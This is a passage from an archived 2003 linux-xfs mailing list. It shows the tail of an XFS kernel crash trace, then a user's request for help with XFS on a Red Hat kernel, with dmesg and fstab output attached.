0000000f 00000000 00000010 00000000 00000000 00000001 00000000 00000000 Sep 27 07:04:00 bastard kernel: 0714ce58 00000000 00000000 00000000 00000001 00000000 00000000 00000000 Sep 27 07:04:00 bastard kernel: Call Trace: Sep 27 07:04:00 bastard kernel: [] xfs_iomap_write_allocate+0xc5/0x4d0 Sep 27 07:04:00 bastard kernel: [] autoremove_wake_function+0x0/0x50 Sep 27 07:04:00 bastard kernel: [] xfs_trans_unlocked_item+0x39/0x60 Sep 27 07:04:00 bastard kernel: [] xfs_iomap+0x40c/0x550 Sep 27 07:04:00 bastard kernel: [] submit_bh+0x99/0x1e0 Sep 27 07:04:00 bastard kernel: [] map_blocks+0x72/0x130 Sep 27 07:04:00 bastard kernel: [] page_state_convert+0x4c7/0x620 Sep 27 07:04:00 bastard kernel: [] __block_write_full_page+0x1ba/0x3d0 Sep 27 07:04:00 bastard kernel: [] linvfs_writepage+0x5c/0x110 Sep 27 07:04:00 bastard kernel: [] shrink_list+0x349/0x550 Sep 27 07:04:00 bastard kernel: [] __pagevec_release+0x28/0x40 Sep 27 07:04:00 bastard kernel: [] shrink_cache+0x185/0x300 Sep 27 07:04:00 bastard kernel: [] shrink_zone+0x7c/0xb0 Sep 27 07:04:00 bastard kernel: [] shrink_caches+0xac/0xd0 Sep 27 07:04:00 bastard kernel: [] try_to_free_pages+0xa2/0x160 Sep 27 07:04:00 bastard kernel: [] __alloc_pages+0x1d1/0x320 Sep 27 07:04:00 bastard kernel: [] __get_free_pages+0x1f/0x50 Sep 27 07:04:00 bastard kernel: [] cache_grow+0xb5/0x250 Sep 27 07:04:00 bastard kernel: [] cache_alloc_refill+0x15b/0x220 Sep 27 07:04:00 bastard kernel: [] kmem_cache_alloc+0x3e/0x40 Sep 27 07:04:00 bastard kernel: [] _xfs_trans_alloc+0x35/0xb0 Sep 27 07:04:00 bastard kernel: [] xfs_iomap_write_allocate+0xc5/0x4d0 Sep 27 07:04:00 bastard kernel: [] __delay+0x12/0x20 Sep 27 07:04:00 bastard kernel: [] __ide_dma_count+0x13/0x20 Sep 27 07:04:00 bastard kernel: [] __ide_dma_write+0xd0/0xe0 Sep 27 07:04:00 bastard kernel: [] ide_dma_intr+0x0/0xc0 Sep 27 07:04:00 bastard kernel: [] dma_timer_expiry+0x0/0x90 Sep 27 07:04:00 bastard kernel: [] xfs_trans_unlocked_item+0x55/0x60 Sep 27 07:04:00 bastard kernel: [] xfs_iomap+0x40c/0x550 Sep 27 07:04:00 bastard kernel: [] map_blocks+0x72/0x130 Sep 27 07:04:00 bastard kernel: [] page_state_convert+0x4c7/0x620 Sep 27 07:04:00 bastard kernel: [] pagebuf_iorequest+0x9a/0x140 Sep 27 07:04:00 bastard kernel: [] xfs_bdstrat_cb+0x42/0x50 Sep 27 07:04:00 bastard kernel: [] pagebuf_iostart+0x4c/0xb0 Sep 27 07:04:00 bastard kernel: [] linvfs_writepage+0x5c/0x110 Sep 27 07:04:00 bastard kernel: [] mpage_writepages+0x203/0x2f0 Sep 27 07:04:00 bastard kernel: [] linvfs_writepage+0x0/0x110 Sep 27 07:04:00 bastard kernel: [] do_writepages+0x36/0x40 Sep 27 07:04:00 bastard kernel: [] __sync_single_inode+0xd4/0x230 Sep 27 07:04:00 bastard kernel: [] sync_sb_inodes+0x19e/0x260 Sep 27 07:04:00 bastard kernel: [] writeback_inodes+0x4d/0xa0 Sep 27 07:04:00 bastard kernel: [] wb_kupdate+0x9c/0x120 Sep 27 07:04:00 bastard kernel: [] __pdflush+0xd2/0x1d0 Sep 27 07:04:00 bastard kernel: [] pdflush+0x0/0x20 Sep 27 07:04:00 bastard kernel: [] pdflush+0xf/0x20 Sep 27 07:04:00 bastard kernel: [] wb_kupdate+0x0/0x120 Sep 27 07:04:00 bastard kernel: [] kernel_thread_helper+0x0/0xc Sep 27 07:04:00 bastard kernel: [] kernel_thread_helper+0x5/0xc Sep 27 07:04:00 bastard kernel: Code: c7 43 5c 00 00 00 00 c7 03 4e 41 52 54 8b 44 24 20 89 43 18 >>EIP; c0282f8d <_xfs_trans_alloc+5d/b0> <===== >>ecx; c05059bc >>esi; f7dfb378 <__crc_iw_handler_get_spy+15f44a/35994c> >>esp; f7dcb63c <__crc_iw_handler_get_spy+12f70e/35994c> Trace; c0299455 Trace; c011d520 Trace; c0284729 Trace; c029892c Trace; c0159189 Trace; c0293c62 Trace; c0294d27 Trace; c01577da <__block_write_full_page+1ba/3d0> Trace; c029552c Trace; c0142e79 Trace; c0141e88 <__pagevec_release+28/40> Trace; c0143205 Trace; c014390c Trace; c01439ec Trace; c0143ab2 Trace; c013d2f1 <__alloc_pages+1d1/320> Trace; c013d45f <__get_free_pages+1f/50> Trace; c0140215 Trace; c014050b Trace; c01407de Trace; c0282f65 <_xfs_trans_alloc+35/b0> Trace; c0299455 Trace; c02aa7c2 <__delay+12/20> Trace; c0324b03 <__ide_dma_count+13/20> Trace; c0324910 <__ide_dma_write+d0/e0> Trace; c0323f10 Trace; c0324450 Trace; c0284745 Trace; c029892c Trace; c0293c62 Trace; c0294d27 Trace; c0292e8a Trace; c029c312 Trace; c029298c Trace; c029552c Trace; c01767d3 Trace; c02954d0 Trace; c013e6c6 Trace; c0174c94 <__sync_single_inode+d4/230> Trace; c017503e Trace; c017514d Trace; c013e50c Trace; c013ead2 <__pdflush+d2/1d0> Trace; c013ebd0 Trace; c013ebdf Trace; c013e470 Trace; c0109284 Trace; c0109289 Code; c0282f8d <_xfs_trans_alloc+5d/b0> 00000000 <_EIP>: Code; c0282f8d <_xfs_trans_alloc+5d/b0> <===== 0: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) <===== Code; c0282f94 <_xfs_trans_alloc+64/b0> 7: c7 03 4e 41 52 54 movl $0x5452414e,(%ebx) Code; c0282f9a <_xfs_trans_alloc+6a/b0> d: 8b 44 24 20 mov 0x20(%esp,1),%eax Code; c0282f9e <_xfs_trans_alloc+6e/b0> 11: 89 43 18 mov %eax,0x18(%ebx) From owner-linux-xfs@oss.sgi.com Sun Sep 28 01:08:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 01:09:11 -0700 (PDT) Received: from mail.ic.sunysb.edu (mail.ic.sunysb.edu [129.49.1.4]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S88ZFx023248 for ; Sun, 28 Sep 2003 01:08:36 -0700 Received: from postal.ic.sunysb.edu (mail [129.49.1.4]) by mail.ic.sunysb.edu (8.12.10/8.12.10) with SMTP id h8S4oVaq001796 for ; Sun, 28 Sep 2003 00:50:36 -0400 (EDT) Received: from smtp.ic.sunysb.edu ([129.49.1.24]) by postal.ic.sunysb.edu (SAVSMTP 3.1.1.32) with SMTP id M2003092800503505072 for ; Sun, 28 Sep 2003 00:50:35 -0400 Received: from pkumar (246-034.resnet.stonybrook.edu [130.245.246.34]) by smtp.ic.sunysb.edu (8.12.10/8.12.10) with ESMTP id h8S4oZ0h001790 for ; Sun, 28 Sep 2003 00:50:35 -0400 (EDT) Reply-To: From: "Piyush Kumar" To: Subject: XFS Patches for redhat kernel Date: Sun, 28 Sep 2003 01:09:57 -0400 Message-ID: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 557 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: piyush@acm.org Precedence: bulk X-list: linux-xfs Content-Length: 23223 Lines: 599 Are there any rpms available for the redhat kernel 2.4.20-20.9 with xfs? I tried the XFS 1.3 installer CDs with my Redhat 9.1 CDs and could make them work on my SMP Xeon 2.6Ghz system with 3ware controller but with some problems. When I "startx" I get this message hda: dma_intr: status=0x51 {DriveReady SeekComplete Error } hda: dma_intr: status=0x40 {UncorrectableError},LBAsect=161297763, sector=143481672 end_request: I/O error, dev 03:03 (hda), sector 143481672 ... on tty1 as X/kde starts. There is a core.xxxx file created in the place I run startx from, otherwise everything runs ok. Sometimes, when I try to run some application from KDE like "Terminal" another core appears in the directory. I do not believe that my hard disk is broken! I have a maxtor which ran perfectly till yesterday with the ext3. I installed XFS today and changed the kernel, and now it seems that the problem is because I changed the whole file system to XFS and the kernel to 2.4.20-19.9. But I don't know for sure what is going wrong.. One more thing I observed was that hdparm gives for my maxtor drive and and for my 3ware card (which has 4 similar hard disks connected to it on RAID 0) around the same reading and writing speed as /dev/h da(Maxtor)! Seems some driver is messed up. I tried to copy the updated 3w-xxxx.c file on the kernel and recompile the kernel that came with the XFS-SGI-Redhat CD, but to no avail. The kernel modules wont just compile (one error or the other stops it). (I tried many configurations including the one that is there in /boot for the up and running kernel). Is there an easier way to run XFS? Should I move my hda to ext3 and try to just move the RAID on xfs and then see if I can get the real speed of the RAID on to redhat? Thanks in advance for your help/comments, Best Wishes, --Piyush Attaching my dmesg + fstab + hdparm hda = maxtor 120GB sda = 3ware 7500 4LP + 4 western digital 120GB ======================================================================== ========== dmesg ======================================================================== ========== Linux version 2.4.20-19.9.XFS1.3.0smp (root@naboo.americas.sgi.com) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 SMP Wed Aug 20 17:56:56 CDT 2003 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 000000000009b000 (usable) BIOS-e820: 000000000009b000 - 00000000000a0000 (reserved) BIOS-e820: 00000000000d0000 - 00000000000d4000 (reserved) BIOS-e820: 00000000000e4000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000007ff70000 (usable) BIOS-e820: 000000007ff70000 - 000000007ff78000 (ACPI data) BIOS-e820: 000000007ff78000 - 000000007ff80000 (ACPI NVS) BIOS-e820: 000000007ff80000 - 0000000080000000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) BIOS-e820: 00000000ff800000 - 00000000ffc00000 (reserved) BIOS-e820: 00000000fff00000 - 0000000100000000 (reserved) 1151MB HIGHMEM available. 896MB LOWMEM available. found SMP MP-table at 000f64d0 hm, page 000f6000 reserved twice. hm, page 000f7000 reserved twice. hm, page 0009b000 reserved twice. hm, page 0009c000 reserved twice. On node 0 totalpages: 524144 zone(0): 4096 pages. zone(1): 225280 pages. zone(2): 294768 pages. ACPI: Searched entire block, no RSDP was found. ACPI: RSDP located at physical address c00f6460 RSD PTR v0 [PTLTD ] __va_range(0x7ff74022, 0x68): idx=10 mapped at ffff5000 ACPI table found: RSDT v1 [PTLTD RSDT 1540.0] __va_range(0x7ff77e78, 0x24): idx=10 mapped at ffff5000 __va_range(0x7ff77e78, 0x74): idx=10 mapped at ffff5000 ACPI table found: FACP v1 [INTEL PLACER 1540.0] __va_range(0x7ff77eec, 0x24): idx=10 mapped at ffff5000 __va_range(0x7ff77eec, 0x9c): idx=10 mapped at ffff5000 ACPI table found: APIC v1 [PTLTD APIC 1540.0] __va_range(0x7ff77eec, 0x9c): idx=10 mapped at ffff5000 LAPIC (acpi_id[0x0000] id[0x0] enabled[1]) CPU 0 (0x0000) enabledProcessor #0 Pentium 4(tm) XEON(tm) APIC version 16 LAPIC (acpi_id[0x0001] id[0x6] enabled[1]) CPU 1 (0x0600) enabledProcessor #6 Pentium 4(tm) XEON(tm) APIC version 16 LAPIC (acpi_id[0x0002] id[0x1] enabled[1]) CPU 2 (0x0100) enabledProcessor #1 Pentium 4(tm) XEON(tm) APIC version 16 LAPIC (acpi_id[0x0003] id[0x7] enabled[1]) CPU 3 (0x0700) enabledProcessor #7 Pentium 4(tm) XEON(tm) APIC version 16 IOAPIC (id[0x2] address[0xfec00000] global_irq_base[0x0]) IOAPIC (id[0x3] address[0xfec80000] global_irq_base[0x18]) IOAPIC (id[0x4] address[0xfec80100] global_irq_base[0x30]) INT_SRC_OVR (bus[0] irq[0x0] global_irq[0x2] polarity[0x1] trigger[0x1]) INT_SRC_OVR (bus[0] irq[0x9] global_irq[0x9] polarity[0x1] trigger[0x3]) LAPIC_NMI (acpi_id[0x0000] polarity[0x1] trigger[0x1] lint[0x1]) LAPIC_NMI (acpi_id[0x0001] polarity[0x1] trigger[0x1] lint[0x1]) LAPIC_NMI (acpi_id[0x0002] polarity[0x1] trigger[0x1] lint[0x1]) LAPIC_NMI (acpi_id[0x0003] polarity[0x1] trigger[0x1] lint[0x1]) 4 CPUs total Local APIC address fee00000 __va_range(0x7ff77f88, 0x24): idx=10 mapped at ffff5000 __va_range(0x7ff77f88, 0x28): idx=10 mapped at ffff5000 ACPI table found: BOOT v1 [PTLTD $SBFTBL$ 1540.0] __va_range(0x7ff77fb0, 0x24): idx=10 mapped at ffff5000 __va_range(0x7ff77fb0, 0x50): idx=10 mapped at ffff5000 ACPI table found: SPCR v1 [PTLTD $UCRTBL$ 1540.0] Enabling the CPU's according to the ACPI table Intel MultiProcessor Specification v1.4 Virtual Wire compatibility mode. OEM ID: Product ID: PLACER CRB APIC at: 0xFEE00000 I/O APIC #2 Version 32 at 0xFEC00000. I/O APIC #3 Version 32 at 0xFEC80000. I/O APIC #4 Version 32 at 0xFEC80100. Enabling APIC mode: Flat. Using 3 I/O APICs Processors: 4 Kernel command line: ro root=LABEL=/ hdd=ide-scsi acpi=off ide_setup: hdd=ide-scsi Initializing CPU#0 Detected 2665.964 MHz processor. Console: colour VGA+ 80x25 Calibrating delay loop... 5321.52 BogoMIPS Memory: 2058888k/2096576k available (1543k kernel code, 33060k reserved, 1167k data, 160k init, 1179072k highmem) kdb version 4.3 by Keith Owens, Scott Lurndal. Copyright SGI, All Rights Reserved Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes) Inode cache hash table entries: 131072 (order: 8, 1048576 bytes) Mount cache hash table entries: 512 (order: 0, 4096 bytes) Buffer-cache hash table entries: 131072 (order: 7, 524288 bytes) Page-cache hash table entries: 524288 (order: 9, 2097152 bytes) CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: Physical Processor ID: 0 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 CPU: Common caps: bfebfbff 00000000 00000000 00000000 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX mtrr: v1.40 (20010327) Richard Gooch (rgooch@atnf.csiro.au) mtrr: detected mtrr type: Intel CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: Physical Processor ID: 0 Intel machine check reporting enabled on CPU#0. CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 CPU: Common caps: bfebfbff 00000000 00000000 00000000 CPU0: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 per-CPU timeslice cutoff: 1463.11 usecs. task migration cache decay timeout: 10 msecs. enabled ExtINT on CPU#0 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Booting processor 1/1 eip 2000 Initializing CPU#1 masked ExtINT on CPU#1 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 5321.52 BogoMIPS CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: Physical Processor ID: 0 Intel machine check reporting enabled on CPU#1. CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 CPU: Common caps: bfebfbff 00000000 00000000 00000000 CPU1: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 Booting processor 2/6 eip 2000 Initializing CPU#2 masked ExtINT on CPU#2 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 5321.52 BogoMIPS CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: Physical Processor ID: 3 Intel machine check reporting enabled on CPU#2. CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 CPU: Common caps: bfebfbff 00000000 00000000 00000000 CPU2: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 Booting processor 3/7 eip 2000 Initializing CPU#3 masked ExtINT on CPU#3 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 5321.52 BogoMIPS CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 512K CPU: Physical Processor ID: 3 Intel machine check reporting enabled on CPU#3. CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 CPU: Common caps: bfebfbff 00000000 00000000 00000000 CPU3: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 Total of 4 processors activated (21286.09 BogoMIPS). cpu_sibling_map[0] = 1 cpu_sibling_map[1] = 0 cpu_sibling_map[2] = 3 cpu_sibling_map[3] = 2 ENABLING IO-APIC IRQs Setting 2 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 2 ... ok. Setting 3 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 3 ... ok. Setting 4 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 4 ... ok. init IO_APIC IRQs IO-APIC (apicid-pin) 2-0, 2-5, 2-10, 2-11, 2-20, 2-22, 3-1, 3-2, 3-3, 3-4, 3-5, 3-6, 3-7, 3-8, 3-9, 3-10, 3-11, 3-12, 3-13, 3-14, 3-15, 3-16, 3-17, 3-18, 3-19, 3-20, 3-21, 3-22, 3-23, 4-0, 4-1, 4-2, 4-3, 4-4, 4-5, 4-7, 4-8, 4-9, 4-10, 4-11, 4-12, 4-13, 4-14, 4-15, 4-16, 4-17, 4-18, 4-19, 4-20, 4-21, 4-22, 4-23 not connected. ..TIMER: vector=0x31 pin1=2 pin2=0 number of MP IRQ sources: 21. number of IO-APIC #2 registers: 24. number of IO-APIC #3 registers: 24. number of IO-APIC #4 registers: 24. testing the IO APIC....................... IO APIC #2...... .... register #00: 02000000 ....... : physical APIC id: 02 .... register #01: 00178020 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0020 .... register #02: 00000000 ....... : arbitration: 00 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 0FF 0F 0 0 0 0 0 1 1 39 02 0FF 0F 0 0 0 0 0 1 1 31 03 0FF 0F 0 0 0 0 0 1 1 41 04 0FF 0F 0 0 0 0 0 1 1 49 05 000 00 1 0 0 0 0 0 0 00 06 0FF 0F 0 0 0 0 0 1 1 51 07 0FF 0F 0 0 0 0 0 1 1 59 08 0FF 0F 0 0 0 0 0 1 1 61 09 0FF 0F 0 0 0 0 0 1 1 69 0a 000 00 1 0 0 0 0 0 0 00 0b 000 00 1 0 0 0 0 0 0 00 0c 0FF 0F 0 0 0 0 0 1 1 71 0d 0FF 0F 0 0 0 0 0 1 1 79 0e 0FF 0F 0 0 0 0 0 1 1 89 0f 0FF 0F 0 0 0 0 0 1 1 91 10 0FF 0F 1 1 0 1 0 1 1 99 11 0FF 0F 1 1 0 1 0 1 1 A1 12 0FF 0F 1 1 0 1 0 1 1 A9 13 0FF 0F 1 1 0 1 0 1 1 B1 14 000 00 1 0 0 0 0 0 0 00 15 0FF 0F 1 1 0 1 0 1 1 B9 16 000 00 1 0 0 0 0 0 0 00 17 0FF 0F 1 1 0 1 0 1 1 C1 IO APIC #3...... .... register #00: 03000000 ....... : physical APIC id: 03 .... register #01: 00178020 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0020 .... register #02: 03000000 ....... : arbitration: 03 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 0FF 0F 1 1 0 1 0 1 1 C9 01 000 00 1 0 0 0 0 0 0 00 02 000 00 1 0 0 0 0 0 0 00 03 000 00 1 0 0 0 0 0 0 00 04 000 00 1 0 0 0 0 0 0 00 05 000 00 1 0 0 0 0 0 0 00 06 000 00 1 0 0 0 0 0 0 00 07 000 00 1 0 0 0 0 0 0 00 08 000 00 1 0 0 0 0 0 0 00 09 000 00 1 0 0 0 0 0 0 00 0a 000 00 1 0 0 0 0 0 0 00 0b 000 00 1 0 0 0 0 0 0 00 0c 000 00 1 0 0 0 0 0 0 00 0d 000 00 1 0 0 0 0 0 0 00 0e 000 00 1 0 0 0 0 0 0 00 0f 000 00 1 0 0 0 0 0 0 00 10 000 00 1 0 0 0 0 0 0 00 11 000 00 1 0 0 0 0 0 0 00 12 000 00 1 0 0 0 0 0 0 00 13 000 00 1 0 0 0 0 0 0 00 14 000 00 1 0 0 0 0 0 0 00 15 000 00 1 0 0 0 0 0 0 00 16 000 00 1 0 0 0 0 0 0 00 17 000 00 1 0 0 0 0 0 0 00 IO APIC #4...... .... register #00: 04000000 ....... : physical APIC id: 04 .... register #01: 00178020 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0020 .... register #02: 04000000 ....... : arbitration: 04 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 000 00 1 0 0 0 0 0 0 00 02 000 00 1 0 0 0 0 0 0 00 03 000 00 1 0 0 0 0 0 0 00 04 000 00 1 0 0 0 0 0 0 00 05 000 00 1 0 0 0 0 0 0 00 06 0FF 0F 1 1 0 1 0 1 1 D1 07 000 00 1 0 0 0 0 0 0 00 08 000 00 1 0 0 0 0 0 0 00 09 000 00 1 0 0 0 0 0 0 00 0a 000 00 1 0 0 0 0 0 0 00 0b 000 00 1 0 0 0 0 0 0 00 0c 000 00 1 0 0 0 0 0 0 00 0d 000 00 1 0 0 0 0 0 0 00 0e 000 00 1 0 0 0 0 0 0 00 0f 000 00 1 0 0 0 0 0 0 00 10 000 00 1 0 0 0 0 0 0 00 11 000 00 1 0 0 0 0 0 0 00 12 000 00 1 0 0 0 0 0 0 00 13 000 00 1 0 0 0 0 0 0 00 14 000 00 1 0 0 0 0 0 0 00 15 000 00 1 0 0 0 0 0 0 00 16 000 00 1 0 0 0 0 0 0 00 17 000 00 1 0 0 0 0 0 0 00 IRQ to pin mappings: IRQ0 -> 0:2 IRQ1 -> 0:1 IRQ3 -> 0:3 IRQ4 -> 0:4 IRQ6 -> 0:6 IRQ7 -> 0:7 IRQ8 -> 0:8 IRQ9 -> 0:9 IRQ12 -> 0:12 IRQ13 -> 0:13 IRQ14 -> 0:14 IRQ15 -> 0:15 IRQ16 -> 0:16 IRQ17 -> 0:17 IRQ18 -> 0:18 IRQ19 -> 0:19 IRQ21 -> 0:21 IRQ23 -> 0:23 IRQ24 -> 1:0 IRQ54 -> 2:6 .................................... done. Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 2665.9925 MHz. ..... host bus clock speed is 133.2993 MHz. cpu: 0, clocks: 1332993, slice: 266598 CPU0 cpu: 1, clocks: 1332993, slice: 266598 cpu: 3, clocks: 1332993, slice: 266598 cpu: 2, clocks: 1332993, slice: 266598 CPU1 CPU2 CPU3 checking TSC synchronization across CPUs: passed. Starting migration thread for cpu 0 smp_num_cpus: 4. Starting migration thread for cpu 1 Starting migration thread for cpu 2 Starting migration thread for cpu 3 PCI: PCI BIOS revision 2.10 entry at 0xfd8f5, last bus=5 PCI: Using configuration type 1 PCI: Probing PCI hardware PCI: Ignoring BAR0-3 of IDE controller 00:1f.1 Transparent bridge - Intel Corp. 82801BA/CA/DB PCI Bridge PCI: Using IRQ router PIIX [8086/24c0] at 00:1f.0 PCI->APIC IRQ transform: (B0,I29,P0) -> 16 PCI->APIC IRQ transform: (B0,I29,P1) -> 19 PCI->APIC IRQ transform: (B0,I29,P2) -> 18 PCI->APIC IRQ transform: (B0,I29,P3) -> 23 PCI->APIC IRQ transform: (B0,I31,P0) -> 17 PCI->APIC IRQ transform: (B0,I31,P1) -> 17 PCI->APIC IRQ transform: (B0,I31,P1) -> 17 PCI->APIC IRQ transform: (B1,I0,P0) -> 21 PCI->APIC IRQ transform: (B3,I3,P0) -> 54 PCI->APIC IRQ transform: (B4,I1,P0) -> 24 isapnp: Scanning for PnP cards... isapnp: No Plug & Play device found Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 Initializing RT netlink socket apm: BIOS not found. Starting kswapd allocated 32 pages and 32 bhs reserved for the highmem bounces VFS: Disk quotas vdquot_6.5.1 pty: 2048 Unix98 ptys configured Serial driver version 5.05c (2001-07-08) with MANY_PORTS MULTIPORT SHARE_IRQ SERIAL_PCI ISAPNP enabled ttyS0 at 0x03f8 (irq = 4) is a 16550A ttyS1 at 0x02f8 (irq = 3) is a 16550A Real Time Clock Driver v1.10e Floppy drive(s): fd0 is 1.44M FDC 0 is a post-1991 82077 NET4: Frame Diverter 0.46 RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize Uniform Multi-Platform E-IDE driver Revision: 7.00beta3-.2.4 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx ICH4: IDE controller at PCI slot 00:1f.1 PCI: Enabling device 00:1f.1 (0005 -> 0007) ICH4: chipset revision 2 ICH4: not 100% native mode: will probe irqs later ide0: BM-DMA at 0x24a0-0x24a7, BIOS settings: hda:DMA, hdb:pio ide1: BM-DMA at 0x24a8-0x24af, BIOS settings: hdc:pio, hdd:DMA hda: Maxtor 6Y120P0, ATA DISK drive blk: queue c0478f80, I/O limit 4095Mb (mask 0xffffffff) hdd: CD-RW 52X24, ATAPI CD/DVD-ROM drive ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 ide1 at 0x170-0x177,0x376 on irq 15 hda: attached ide-disk driver. hda: host protected area => 1 hda: 240121728 sectors (122942 MB) w/7936KiB Cache, CHS=14946/255/63, UDMA(100) ide-floppy driver 0.99.newide Partition check: hda: hda1 hda2 hda3 ide-floppy driver 0.99.newide md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: Autodetecting RAID arrays. md: autorun ... md: ... autorun DONE. pci_hotplug: PCI Hot Plug PCI Core version: 0.5 NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 16384 buckets, 128Kbytes TCP: Hash tables configured (established 262144 bind 65536) Linux IP multicast router 0.06 plus PIM-SM NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. RAMDISK: Compressed image found at block 0 Freeing initrd memory: 481k freed VFS: Mounted root (ext2 filesystem). SCSI subsystem driver Revision: 1.00 3ware Storage Controller device driver for Linux v1.02.00.032. scsi0 : Found a 3ware Storage Controller at 0x4000, IRQ: 24, P-chip: 1.3 scsi0 : 3ware Storage Controller blk: queue c45f0a18, I/O limit 4095Mb (mask 0xffffffff) Vendor: 3ware Model: Logical Disk 0 Rev: 1.0 Type: Direct-Access ANSI SCSI revision: 00 blk: queue c45f0818, I/O limit 4095Mb (mask 0xffffffff) Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 SCSI device sda: 937756672 512-byte hdwr sectors (480131 MB) sda: sda1 SGI XFS 1.3.0 with ACLs, no debug enabled SGI XFS Quota Management subsystem XFS mounting filesystem ide0(3,3) Ending clean XFS mount for filesystem: ide0(3,3) Freeing unused kernel memory: 160k freed usb.c: registered new driver usbdevfs usb.c: registered new driver hub PCI: Setting latency timer of device 00:1d.7 to 64 ehci-hcd 00:1d.7: Intel Corp. 82801DB USB EHCI Controller ehci-hcd 00:1d.7: irq 23, pci mem f88f6000 usb.c: new USB bus registered, assigned bus number 1 ehci-hcd 00:1d.7: enabled 64bit PCI DMA PCI: 00:1d.7 PCI cache line size set incorrectly (0 bytes) by BIOS/FW. PCI: 00:1d.7 PCI cache line size corrected to 128. ehci-hcd 00:1d.7: USB 2.0 enabled, EHCI 1.00, driver 2003-Jan-22 hub.c: USB hub found hub.c: 6 ports detected usb-uhci.c: $Revision: 1.275 $ time 18:11:03 Aug 20 2003 usb-uhci.c: High bandwidth mode enabled PCI: Setting latency timer of device 00:1d.0 to 64 usb-uhci.c: USB UHCI at I/O 0x2440, IRQ 16 usb-uhci.c: Detected 2 ports usb.c: new USB bus registered, assigned bus number 2 hub.c: USB hub found hub.c: 2 ports detected PCI: Setting latency timer of device 00:1d.1 to 64 usb-uhci.c: USB UHCI at I/O 0x2460, IRQ 19 usb-uhci.c: Detected 2 ports usb.c: new USB bus registered, assigned bus number 3 hub.c: USB hub found hub.c: 2 ports detected PCI: Setting latency timer of device 00:1d.2 to 64 usb-uhci.c: USB UHCI at I/O 0x2480, IRQ 18 usb-uhci.c: Detected 2 ports usb.c: new USB bus registered, assigned bus number 4 hub.c: USB hub found hub.c: 2 ports detected usb-uhci.c: v1.275:USB Universal Host Controller Interface driver usb.c: registered new driver hiddev usb.c: registered new driver hid hid-core.c: v1.8.1 Andreas Gal, Vojtech Pavlik hid-core.c: USB HID support drivers mice: PS/2 mouse device common for all mice Adding Swap: 8385920k swap-space (priority -1) XFS mounting filesystem ide0(3,1) Ending clean XFS mount for filesystem: ide0(3,1) XFS mounting filesystem sd(8,1) Ending clean XFS mount for filesystem: sd(8,1) hdd: attached ide-scsi driver. scsi1 : SCSI host adapter emulation for IDE ATAPI devices Vendor: ATAPI Model: CD-RW 52X24 Rev: K.HC Type: CD-ROM ANSI SCSI revision: 02 ======================================================================== ========== /etc/fstab ======================================================================== ========== LABEL=/ / xfs defaults 1 1 LABEL=/boot /boot xfs defaults 1 2 none /dev/pts devpts gid=5,mode=620 0 0 LABEL=/home /home xfs defaults 1 2 none /proc proc defaults 0 0 none /dev/shm tmpfs defaults 0 0 /dev/hda2 swap swap defaults 0 0 /dev/cdrom /mnt/cdrom udf,iso9660 